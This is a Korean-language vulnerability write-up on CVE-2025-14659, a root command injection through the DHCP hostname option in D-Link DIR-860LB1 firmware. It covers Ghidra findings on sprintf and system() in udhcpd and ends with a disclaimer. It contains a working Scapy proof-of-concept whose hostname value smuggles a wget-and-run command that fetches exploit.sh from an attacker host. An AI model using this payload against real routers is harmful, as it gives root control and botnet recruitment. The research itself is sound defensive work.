
정적 분석(Ghidra)과 사용자 정의 패킷 생성(Scapy)을 통해 D-Link 펌웨어의 루트 권한 DHCP 명령 주입 취약점(CVE-2025-14659)을 입증
작성자: Peter Lin
날짜: 2026년 5월
프로젝트 개요: CVE-2025-14659는 펌웨어 v203b03을 실행하는 D-Link DIR-860LB1 무선 라우터의 DHCP 데몬 구성 요소를 대상으로 하는 명령어 주입 취약점을 보고했습니다. 이 명령어 주입은 공격자가 악의적인 호스트 이름으로 기존 임대를 갱신하는 DHCP 클라이언트를 통해 대상 라우터에서 root 권한으로 임의 명령을 실행할 수 있게 할 수 있습니다. 저는 DIR-860LB1 장치의 펌웨어를 추출하고 Ghidra를 사용한 정적 분석을 통해 DHCP 데몬(udhcpd)에 존재하는 결함을 식별할 것입니다. 그런 다음 FirmAE와 같은 에뮬레이션 엔진을 활용하여 이 라우터의 환경을 에뮬레이션하고, 이 대상에 대한 개념 증명 공격을 시연할 것입니다.
udhcpd (DHCP 데몬)Ghidra에서 udhcpd_main 함수를 살펴보면, 취약점은 case 3(DHCPREQUEST) 블록 바로 안에 존재합니다:
get_option(auStack_254, 0xc)를 사용하여 클라이언트 패킷에서 DHCP 옵션 12 (호스트 이름) 를 가져옵니다.sprintf()를 통해 문자열 버퍼에 직접 삽입됩니다:
sprintf(acStack_454,"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", acStack_5f4, pcVar15, piVar12);
system() 호출에 직접 전달합니다:
system(acStack_454);
데몬이 root로 실행되기 때문에, 호스트 이름에 셸 메타문자(예: ; 또는 |)를 추가하면 공격자가 임의의 시스템 명령을 실행할 수 있습니다.
cve_poc.py)이 동작하는 Scapy 스크립트는 주입된 호스트 이름 페이로드로 임대 갱신을 요청하는 악의적인 클라이언트를 시뮬레이션합니다:
from scapy.all import *
# ===== Configuration =====
iface = "tap1_0"
mac_address = "0a:6f:8c:38:03:52"
requested_ip = "192.168.0.150"
dhcp_server_ip = "192.168.0.1"
attacker_server = "192.168.0.150:12345"
# =========================
# Injected Hostname Payload
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))
dhcp_request = (
Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr=mac_bytes, xid=0x81de4932) /
DHCP(options=[
("message-type", "request"),
("requested_addr", requested_ip),
("server_id", dhcp_server_ip),
("hostname", hostname),
"end"
])
)
print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
print("[*] Packet sent. Check HTTP server logs.")
실제 환경에서 악용될 경우, 공격자는 이 취약점을 다음과 같은 용도로 사용할 수 있습니다:
/tmp)에 직접 설치하여 하드웨어를 DDoS 네트워크에 가담시킵니다.면책 조항: 이 프로젝트는 교육 목적, 포트폴리오 구축, 방어 보안 연구를 위해 엄격히 제작되었습니다.